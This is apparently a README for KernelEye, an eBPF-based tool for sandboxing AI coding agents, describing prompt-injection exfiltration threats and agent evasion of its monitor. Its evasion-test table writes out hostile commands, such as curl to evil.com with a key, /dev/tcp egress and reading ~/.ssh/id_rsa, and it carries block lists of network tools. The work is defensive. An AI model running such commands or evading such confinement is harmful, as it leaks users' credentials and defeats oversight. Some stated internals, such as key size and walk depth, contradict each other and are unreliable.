Kernel-enforced isolation for autonomous coding agents (Claude Code, Cursor, OpenHands, Devin, Gemini CLI). Zero containers. Scoped process subtree confinement. Low single-digit microsecond interception overhead.
Status: Feature-complete for v0.2.0. Exploring external security review; reproduction scripts and issue reports welcome.
Autonomous coding agents require access to local compilers, project files, language runtimes, and git. However, granting an LLM-driven subshell unrestricted host access creates a critical security surface:
- Prompt Injection & Credential Exfiltration: Injected instructions or malicious dependencies can direct an agent to harvest secrets (
$AWS_SECRET_ACCESS_KEY,~/.ssh/id_rsa,.env) and dispatch them viacurl,wget, or raw sockets. - The Container Friction: Running agents inside Docker/VMs isolates the workspace but impairs local developer ergonomics—breaking IDE language servers, hot-reloading, local SSH agents, and volume I/O performance.
- The Fragility of User-Space Wrappers: Command regex filters (
banned = ["curl"]) andLD_PRELOADshims are easily bypassed via nested subshells, symlinks, dynamic linkers (/lib64/ld-linux.so.2), or in-memory Python raw sockets.
KernelEye implements zero-container, host-native confinement directly within the Linux kernel using eBPF Linux Security Modules (LSM) and tracepoints.
Given an agent's process ID (--fence-pid <PID>) or running directly via kerneleye run, KernelEye dynamically isolates that process and all descendant subshells, workers, and spawned processes across 13 comprehensive security gates:
- Binary & Fileless Execution Gate (
lsm/bprm_check_security): Intercepts the kernel binary loader. Unauthorized binaries (curl,wget,nc,socat,ssh) are aborted inline with-EPERM. Intercepts anonymous tmpfs/hugetlbfs fileless executions (memfd_create+execveat,MFD_HUGETLB) by verifyingi_nlink == 0against superblock magic. - TCP Egress Gate (
lsm/socket_connect): Drops outboundAF_INET/AF_INET6TCP connection requests before packets reach the network stack. - UDP & Datagram Egress Gate (
lsm/socket_sendmsg): Intercepts raw datagrams and connectionless UDP (sendto), preventing DNS tunneling or raw UDP exfiltration. - AF_UNIX Domain Socket Confinement (
lsm/unix_stream_connect&lsm/unix_may_send): Enforces granular Unix socket policy. Unauthorized stream connections (e.g./var/run/docker.sock,$SSH_AUTH_SOCK, systemd D-Bus) and connectionless datagram egress are denied inline with-EPERM, while legitimate IDE language servers (LSP) and build pipes remain accessible via prefix allowlists. - SCM_RIGHTS FD Smuggling Defense (
lsm/file_receive): Traps file descriptor installation duringscm_detach_fds()in the receiver context, preventing unconfined processes or proxy daemons from smuggling open network sockets or sensitive files into the fenced agent. - Workspace Write Confinement (
lsm/file_open&lsm/inode_mkdir): Restricts file modifications and directory creation strictly to--workspaceusing 16-byteInodeKeyverification (WORKSPACE_INODES). Permits read-only access to system libraries on shared rootfs partitions while auto-learning dynamic build artifacts (e.g.mkdir -p target/debug/depsandgcc/cargooutputs) via an 8-level bounded ancestor walk. - Credential & Secret Protection Gate (
lsm/file_open): Intercepts filesystem open calls on sensitive credential basenames (.env,id_rsa,id_ed25519,credentials,shadow,authorized_keys). - Anti-Tampering Protection (
lsm/task_kill&lsm/ptrace_access_check): Prevents confined agent processes from sending kill signals or attaching debuggers to the monitoring daemon or unconfined host processes. - Anti-Evasion Filesystem Integrity (
lsm/inode_link,lsm/inode_rename,lsm/inode_unlink): Blocks rogue processes from hardlinking, renaming, or deleting sensitive host files. - Process Lineage & io_uring Desync Mitigation: Subprocesses inherit fencing atomically via
sched_process_fork+ an in-kerneltask_struct->real_parentwalk. To prevent asynchronous worker thread desync (io-wq),kerneleye runisolates the execution subtree inside a dedicated ephemeral cgroup v2 leaf (/sys/fs/cgroup/.../kerneleye_<pid>) tracked viaIO_URING_CGROUP_IDS. - Cryo-Freeze & Phantom Counter-Deception:
--cryo-freeze: Suspends offending agent processes in RAM viaSIGSTOPfor forensic memory analysis.--phantom-sink: Active deception loop on127.0.0.1:65530that captures exfiltration payloads, detects canary tokens, and returns synthetic HTTP 200 responses.
- BPF CO-RE (Compile Once – Run Everywhere): BTF-backed type definitions dynamically resolve field offsets against the running kernel without fragile hardcoded struct offsets.
| Technology | Scope & Primary Strength | Trade-Offs & Limitations | Best Used For |
|---|---|---|---|
| KernelEye (eBPF LSM) | Dynamic PID & cgroup subtree fencing: external daemon attaches or wraps agent, enforces in-kernel binary execution, network egress, AF_UNIX IPC, and workspace write confinement with ~3.2 µs overhead. | Requires CAP_BPF/root to load. Unrestricted reads to non-sensitive system files (e.g. /usr/lib) allowed for runtime compatibility. |
Zero-container host agent confinement, workspace protection & exfiltration prevention. |
| Landlock LSM | Unprivileged filesystem access control: allows processes to restrict their own file paths and directory hierarchies safely without root. | Process must voluntarily sandbox itself (cooperative). Landlock v1–v3 lacks network rules; cannot be dynamically attached to external arbitrary process trees. | Workspace filesystem read/write path containment. |
| Bubblewrap (bwrap) / nsjail | Namespace isolation: unprivileged user/mount/network/PID namespace sandboxing with chroot-like path masking. | Creates isolated mount and network namespaces; can break host IDE language servers, local socket IPC, and process monitoring tools. | Isolated, ephemeral command execution sandboxes. |
| seccomp-bpf | Syscall filtering: fast, unprivileged filtering of specific syscall numbers and scalar arguments. | Cannot dereference user pointers (cannot filter by file path string or target IP string). Cannot track dynamic process ancestry. | Hardening attack surface by blocking dangerous syscalls (ptrace, bpf, mount). |
| Docker / LXC | Full container virtualization: independent rootfs, cgroups, network namespaces, and resource limits. | High resource overhead, complex volume mounting, breaks local developer tooling and hot-reloading performance. | Multi-tenant cloud agent execution environments. |
User-Space Shims (LD_PRELOAD) |
User-level API interception: intercepts libc calls (connect, execve) in dynamically linked binaries. |
Fragile: completely bypassed by statically linked binaries, Go runtimes, direct syscalls, or unsetting LD_PRELOAD. |
Legacy userspace auditing only (not a security boundary). |
Autonomous AI Agent Session (PID: 511114)
│
├── [Legitimate Build] cargo build --> ALLOWED (Exit 0)
│
└── [Injected Exfil] curl / python socket
│
════════════════╪════════════════════════════════════════════════════════
KERNEL SPACE │ (eBPF LSM + Tracepoints)
│
▼
[ sched:sched_process_fork ]
└── Track & propagate fenced PID to child processes
│
├──> [ lsm/bprm_check_security ]
│ ├── Extract binary basename (bounded scan)
│ ├── Match against BLOCKED_BINARIES BPF map
│ └── Match? --> Submit VIOLATIONS RingBuf & Return -EPERM!
│
└──> [ lsm/socket_connect ]
├── Inspect sockaddr family (AF_INET / AF_INET6)
└── Confined process? --> Submit VIOLATIONS & Return -EPERM!
│
═══════════════════════════════════════════════════╪═════════════════════
USER SPACE ▼
[ VIOLATIONS RingBuf ]
│
[ Userspace Daemon (tokio AsyncFd) ]
├── Emit Structured JSON Alert
└── --kill-on-violation: SIGKILL root PID!
A security boundary is only as strong as its honest threat model. Below is an evaluation of 20 concrete evasion vectors tested against KernelEye. Every row maps directly to an automated reproducible regression test in tests/evasion/ and tests/:
| # | Attack / Evasion Vector | Mechanism | Result | Defense Mechanism | Test Harness |
|---|---|---|---|---|---|
| 1 | Standard binary execution | curl -s https://evil.com/exfil?key=... |
BLOCKED | Trapped by bprm_check_security (-EPERM). |
tests/evasion/01_blocked_binary.sh |
| 2 | Binary copy / rename | cp /usr/bin/curl ./build_tool && ./build_tool |
BLOCKED | Trapped by socket_connect (-EPERM) on network egress. |
tests/evasion/02_binary_copy_rename.sh |
| 3 | Nested subshell execution | bash -c "sh -c 'curl ...'" |
BLOCKED | Fencing propagated via sched_process_fork + ancestor walk. |
tests/evasion/03_nested_subshell.sh |
| 4 | Python in-memory TCP socket | python -c "import socket; s=socket.socket(); s.connect(('1.1.1.1', 80))" |
BLOCKED | Trapped by socket_connect (-EPERM) before TCP handshake. |
tests/evasion/04_python_tcp_socket.py |
| 5 | Bash built-in TCP egress | echo token > /dev/tcp/1.1.1.1/80 |
BLOCKED | Bash invokes connect(), trapped by socket_connect (-EPERM). |
tests/evasion/05_bash_tcp_egress.sh |
| 6 | Double-fork daemonization | python -c "os.fork(); os.fork(); exec(...)" |
BLOCKED | All fork children inherit PID membership in PROTECTED_AGENT_PIDS. |
tests/evasion/06_double_fork.py |
| 7 | Dynamic linker execution | /lib64/ld-linux-x86-64.so.2 /usr/bin/curl |
BLOCKED | Egress trapped by socket_connect (-EPERM). |
tests/evasion/07_dynamic_linker.sh |
| 8 | Symlinked binary | ln -s /usr/bin/curl ./tool && ./tool |
BLOCKED | Trapped by bprm_check_security (filename/comm) & socket_connect. |
tests/evasion/08_symlink_binary.sh |
| 9 | Connectionless UDP | python -c "s=socket.socket(AF_INET, SOCK_DGRAM); s.sendto(b'data', ('1.1.1.1', 53))" |
BLOCKED | Trapped by lsm/socket_sendmsg (-EPERM). |
tests/evasion/09_udp_sendto.py |
| 10 | Local Docker socket abuse | curl --unix-socket /var/run/docker.sock ... |
BLOCKED | Trapped by lsm/unix_stream_connect (-EPERM). |
tests/evasion/10_docker_socket.py |
| 11 | SSH Agent relay | Commandeering $SSH_AUTH_SOCK for auth relay |
BLOCKED | Trapped by lsm/unix_stream_connect (-EPERM). |
tests/evasion/11_ssh_agent_relay.py |
| 12 | Local disk secret read | cat ~/.ssh/id_rsa or reading .env |
BLOCKED | Trapped by lsm/file_open (-EPERM) matching BLOCKED_FILES map. |
tests/evasion/12_secret_file_read.sh |
| 13 | Localhost DNS exfiltration | Querying 127.0.0.53:53 with encoded domain |
BLOCKED | AF_INET to 127.0.0.1 is blocked unless localhost loopback is whitelisted. |
tests/evasion/13_localhost_dns.py |
| 14 | Ptrace attack on sibling | Attaching ptrace to unconfined host process | BLOCKED | Default Linux Yama LSM & lsm/ptrace_access_check prevent ptrace attachments. |
tests/evasion/14_ptrace_sibling.py |
| 15 | io_uring async worker desync | io-wq worker executing IORING_OP_OPENAT or IORING_OP_CONNECT |
BLOCKED | Confined via ephemeral cgroup v2 leaf isolation + IO_URING_CGROUP_IDS. |
tests/poc_io_uring_desync.c |
| 16 | memfd_create fileless execution | memfd_create("cargo") + execveat() with ELF payload |
BLOCKED | Trapped by lsm/bprm_check_security (i_nlink == 0 on tmpfs/hugetlbfs). |
tests/poc_memfd_exec.c |
| 17 | SCM_RIGHTS FD smuggling | Unconfined broker passing open socket/FD via Unix socket | BLOCKED | Trapped by lsm/file_receive intercepting scm_detach_fds() (-EPERM). |
tests/test_af_unix_scm_rights.py |
| 18 | Out-of-bounds workspace write | Agent subshell writing to /etc, /usr, or ~/.ssh |
BLOCKED | Trapped by lsm/file_open write checks (WORKSPACE_INODES). |
tests/test_workspace_confinement.py |
| 19 | Dynamic nested build artifacts | Build tool executing mkdir -p target/debug/deps and writes |
ALLOWED | Inherits WORKSPACE_INODES via lsm/inode_mkdir + 8-level ancestor walk. |
tests/test_workspace_confinement.py |
| 20 | Legitimate developer build | cargo build, gcc, make |
ALLOWED | Unrestricted; build artifacts compile with zero false positives. | tests/evasion/20_legitimate_build.sh |
Automated Harness Execution: Run
sudo ./tests/evasion/run_all.shto execute all 20 tests and produce a live verification scorecard.CI & Execution Scope Note: Standard GitHub-hosted VM runners lack active BPF LSM kernel enablement (
CONFIG_BPF_LSM=yin/sys/kernel/security/lsm). Consequently, GitHub Actions CI runs static verification, nightly formatting, eBPF bytecode compilation, and Python SDK tests on every PR. Live in-kernel boundary enforcement (tests/evasion/run_all.sh) is executed in local developer environments and dedicated bare-metal runners where BPF LSM is active.
- Why Root / CAP_BPF?: KernelEye requires root privileges exclusively during startup to load BPF bytecode and attach probes to Linux LSM hooks.
- Unidirectional Telemetry: The daemon exposes no listening network sockets and no bidirectional IPC endpoints. It ingests events strictly unidirectional from the kernel via BPF RingBuffer.
- Anonymous Map FDs: KernelEye does not pin BPF maps to
/sys/fs/bpfby default. Maps exist as anonymous file descriptors held exclusively by the daemon's process table. Unprivileged host processes cannot inspect or mutate policy maps withoutCAP_BPF/CAP_SYS_ADMIN. - Anti-Tampering: Confined processes are strictly blocked from debugging (
lsm/ptrace_access_check) or sending signals (lsm/task_kill) to the daemon or host processes.
- Kernel Policy (Fail-Closed): If the userspace
kerneleyedaemon crashes, encounters a panic, or is terminated by the OOM killer, the BPF LSM hooks remain active in kernel memory. BPF maps (PROTECTED_AGENT_PIDS,IO_URING_CGROUP_IDS,WORKSPACE_INODES) remain populated. Confined processes attempting unauthorized binary executions, network egress, or out-of-bounds file writes remain strictly blocked (-EPERM). Confinement does not fail open. - Telemetry & Escalation (Degrades Gracefully): What ceases during a daemon crash is userspace alerting (terminal log output, JSONL audit logs) and userspace SIGKILL retaliation until the daemon process is restarted.
lsm/file_openextracts the terminal dentry basename (dentry->d_name.name) via BPF CO-RE and verifies it againstBLOCKED_FILES.- Trade-Off: Basename matching prevents directory traversal tricks (
../../.env), symlink aliasing, and hardlink pivots. However, it does not match filename extensions (.env.bak). For directory boundaries and full path containment, use--workspace <DIR>which strictly enforces write isolation via 64-bitInodeKeyverification (WORKSPACE_INODES). - Ancestor Walk Depth Bound: Dynamic build artifact auto-learning uses a bounded 16-level iterative walk up
d_parent. Build tools generating outputs deeper than 16 directories from a known workspace node must create intermediate directories withmkdir(which triggerslsm/inode_mkdir) to ensure parent inode inheritance.
- Third-Party Audit Notice: This trust model and codebase have not yet been independently audited by a third party.
- Open Invitation: If you are a Linux kernel or eBPF security researcher and want to test or break these boundaries (lineage desync, map race conditions, or sandbox bypasses), reproduction scripts and adversarial PRs are actively welcome—open an issue or submit a test to
tests/evasion/.
| Kernel Series | BPF LSM Support | io_uring Isolation | AF_UNIX Hooks | Confinement Status | Platform Context |
|---|---|---|---|---|---|
| < 5.8 | ❌ No | ❌ No | ❌ No | Unsupported | Lacks CONFIG_BPF_LSM=y (introduced in Linux 5.7). |
| 5.10 LTS | Deprecated | Early BPF LSM; requires manual lsm=bpf kernel boot parameter. |
|||
| 5.15 LTS | ✅ Full | ✅ Full | ✅ Full | Supported | Standard Ubuntu 20.04/22.04 LTS kernel; cgroup v2 & io-wq tracking active. |
| 6.1 LTS | ✅ Full | ✅ Full | ✅ Full | Supported (Recommended) | Debian 12 / Enterprise LTS; stable BTF CO-RE layout. |
| 6.6 LTS | ✅ Full | ✅ Full | ✅ Full | Supported (Recommended) | Long-Term Support kernel; stable across all 13 LSM attach points. |
| 6.8+ / 6.11 | ✅ Full | ✅ Full | ✅ Full | Tested / Default | Ubuntu 24.04+ default kernel; full ephemeral cgroup v2 & InodeKey isolation. |
To maintain strict technical accuracy, the following architectural boundaries must be understood when deploying KernelEye:
- Agent Model API Reachability Architecture:
If an agent's root process is fenced directly, its own HTTP calls to LLM APIs (api.anthropic.com,api.openai.com) will be blocked bysocket_connect. Intended architecture: The root LLM harness runs outside the network fence (or routes via--proxy-allow-registries/ local proxy), while tool execution workers and subshells spawned by the agent are fenced usingkerneleye runor--fence-pid <WORKER_PID>. - Pre-Existing Process Adoption (
attachvs.run):
kerneleye runprovides zero-race ephemeral cgroup v2 leaf confinement from process cycle 0. Attaching post-facto to an existing running process tree (kerneleye attach <PID>) reliably tracks subsequent child forks, but cannot retroactively revoke sockets or file descriptors already opened prior to attachment without restarting the process. - Non-Sensitive System File Reads:
To preserve developer ergonomics and support local compilation and dynamic linking (libc.so,/usr/lib,/proc/self) on single-partition hosts, read access is permitted for general system files while strictly denying sensitive credential targets (.env,id_rsa,shadow) viaBLOCKED_FILES. Confining all read access strictly to the workspace directory requires mount namespaces (e.g., Landlock or bwrap). - Host Kernel Exploit Surface:
eBPF LSM operates at kernel security hooks. If the host kernel itself contains an unpatched ring-0 privilege escalation vulnerability (e.g., driver memory corruption or use-after-free), an arbitrary code execution vector could target the underlying kernel.
- Linux kernel
5.8+with BPF LSM enabled (CONFIG_BPF_LSM=y, verify withcat /sys/kernel/security/lsm) - Rust stable + nightly toolchain
bpf-linker(cargo install bpf-linker)- Root access (
sudo) to attach LSM hooks
# Execute any agent command directly inside zero-race kernel confinement
sudo kerneleye run -- pytest tests/
# With sensitive environment variable scrubbing & flight recorder audit trail
sudo kerneleye --scrub-env --audit-log flight_audit.jsonl run -- python3 agent.py# Adopt an existing running agent process tree into kernel confinement
sudo kerneleye attach 48102# Clone the repository
git clone https://github.com/rxhtt/kerneleye.git
cd kerneleye
# Compile eBPF kernel probes and userspace daemon
cargo xtask build --release -j 2A scenario script demonstrating an agent attempt to exfiltrate AWS credentials:
sudo ./run_demo.shScenario Output:
-
Test 1 (Unfenced Host Run): Legitimate build succeeds
$\rightarrow$ Agent invokescurl$\rightarrow$ Egress reaches network stack ([UNRESTRICTED]). -
Test 2 (KernelEye Fenced Run): Root agent session registered in
PROTECTED_AGENT_PIDS$\rightarrow$ Build step succeeds$\rightarrow$ Exfiltration attempt trapped:[CRITICAL] Subprocess failed: [Errno 1] Operation not permitted (-EPERM) {"event":"confinement_violation","timestamp_ns":1793846941559430144,"agent_pid":511114,"child_pid":511176,"comm":"curl","binary":"/usr/bin/curl"} [BLOCKED BY KERNEL LSM] Unauthorized curl invocation trapped by kernel. [KILL-SWITCH] Terminating fenced root agent session (PID 511114) with SIGKILL.
KernelEye includes first-class Python bindings to wrap autonomous agents (LangChain, CrewAI, AutoGen, LlamaIndex) with zero containers:
cd bindings/python
pip install -e .from kerneleye import fence_agent
# Dynamically attaches in-kernel eBPF LSM confinement to the agent worker
@fence_agent(
block_binaries=["curl", "wget", "nc", "socat"],
protect_files=[".env", "id_rsa", "credentials"],
cryo_freeze=True, # Freeze offending process in RAM for forensic inspection
)
def execute_autonomous_task(task_prompt: str):
# Any spawned subshell, compiler, or nested process inherits the fence!
import subprocess
return subprocess.run(task_prompt, shell=True, capture_output=True, text=True)from kerneleye import KernelFence
with KernelFence(block_egress=True, protect_files=[".env", "credentials"]):
# Run agent framework tool execution
agent.run("Compile the repository and run test suite")KernelEye acts as a native in-kernel security proxy for Claude Code, Claude Desktop, and Cursor MCP servers.
Configure your claude_desktop_config.json to sandbox filesystem tools or execution servers with zero container overhead:
{
"mcpServers": {
"secure-filesystem": {
"command": "python3",
"args": [
"-m", "kerneleye.mcp_server",
"--block", "curl,wget,nc,ssh",
"--block-files", ".env,id_rsa,credentials",
"--",
"npx", "-y", "@modelcontextprotocol/server-filesystem", "/home/developer/workspace"
]
}
}
}Drop KernelEye into your benchmark eval or CI pipeline to ensure agent tasks never exfiltrate credentials or tamper with host environments:
- name: Run Agent Benchmark under KernelEye Confinement
uses: rxhtt/kerneleye@main
with:
command: "pytest tests/swe_bench/"
block-binaries: "curl,wget,nc,ncat,socat"
block-files: "id_rsa,.env,credentials"
scrub-env: "true"
audit-log: "kerneleye-audit.jsonl"Upon session completion (or process termination), KernelEye renders an immutable ASCII audit scorecard with exact metrics:
┌────────────────────────────────────────────────────────────────────────┐
│ KERNELEYE SECURITY SCORECARD │
├────────────────────────────────────────────────────────────────────────┤
│ Elapsed Session Time : 4.28s │
│ Total Execs Intercepted : 42 │
│ Unique Processes Tracked : 7 │
│ Total Confinement Violations : 3 │
│ Blocked Binary Executions : 2 [curl: 2] │
│ Blocked File Accesses : 1 [.env: 1] │
│ Blocked Network Drops : 0 │
│ Child Process Exit Status : 0 │
│ Security Posture : CONFINEMENT PRESERVED (VIOLATIONS BLOCKED)│
└────────────────────────────────────────────────────────────────────────┘
Usage: kerneleye [OPTIONS] [COMMAND]
Commands:
run Execute a command directly inside zero-race kernel confinement: kerneleye run -- <CMD> [ARGS...]
attach Attach live to an existing running process tree and dynamically adopt it into the kernel fence
top Launch real-time interactive terminal monitoring dashboard: kerneleye top
help Print this message or the help of the given subcommand(s)
Options:
--fence-pid <PID> Target PID(s) to fence. Any child spawned by these PIDs will be restricted
--kill-on-violation Terminate the fenced root agent session immediately upon confinement violation
--block <BLOCK> Comma-separated list of unauthorized binary basenames [default: curl,wget,nc,ncat,socat]
--block-files <BLOCK_FILES> Comma-separated list of sensitive file basenames to block [default: id_rsa,id_ed25519,credentials,.env,shadow,authorized_keys]
--audit-only Run in audit mode: log violations to telemetry without blocking operations
--cryo-freeze Freeze offending process tree in RAM (SIGSTOP) instead of terminating it
--phantom-sink Launch active counter-deception Phantom Sinkhole on 127.0.0.1:65530
--proxy-allow-registries Transparent local audit proxy on 127.0.0.1:18080: permits package registries (npm, cargo, pypi, git) & blocks exfiltration
--proxy-port <PORT> Port for the transparent registry proxy [default: 18080]
--allow-domain <DOMAINS> Comma-separated list of extra trusted domains to permit through the registry proxy
--allow-ip <ALLOW_IP> Comma-separated list of IPv4 addresses to whitelist for in-kernel network egress
--allow-loopback In-kernel allow loopback network traffic (127.0.0.0/8 and ::1)
--workspace <DIR> Strict workspace boundary directory sandboxing. Restricts execution and file modifications to DIR
--canary-tokens Deploy honeypot canary credential tokens (.env.canary, credentials.canary) with automated tripwires
--tui Launch real-time interactive terminal monitoring dashboard
--audit-log <PATH> Path to flight recorder immutable JSONL audit log
--scrub-env Sanitize high-risk credentials (AWS_*, OPENAI_*, GITHUB_*) from child environment
--allow-env <ALLOW_ENV> Comma-separated list of environment variables to preserve [default: PATH,HOME,USER,SHELL,TERM,LANG]
-q, --quiet Suppress verbose process execution trace in runner mode
-h, --help Print help
-V, --version Print version
# 1. Zero-Race Confinement with Package Registry Whitelist (Solves "Don't Break npm install")
sudo kerneleye --proxy-allow-registries --scrub-env run -- npm install
# 2. Strict Workspace Boundary with Honeypot Canaries
sudo kerneleye --workspace /home/user/project --canary-tokens run -- python3 agent.py
# 3. Interactive Real-Time Terminal Monitor
sudo kerneleye top
# 4. Dynamic Attach to an existing background daemon or agent
sudo kerneleye attach 48102
# 5. Complete Defense-in-Depth with Cryo-Freeze and Phantom Sinkhole
sudo kerneleye \
--block "curl,wget,nc,ncat,socat,ssh" \
--block-files ".env,id_rsa,credentials" \
--cryo-freeze \
--phantom-sink \
run -- npm testThis project is dual-licensed to accommodate standard Linux kernel eBPF constraints and permissive userspace development:
- eBPF Kernel Probes (
exec-snoop-ebpf): Licensed under GNU General Public License v2.0 (GPL-2.0) to permit binding with GPL-only kernel helpers and LSM infrastructure. - Userspace Daemon (
exec-snoop) & Common Types (exec-snoop-common): Dual-licensed under MIT License OR Apache License 2.0.
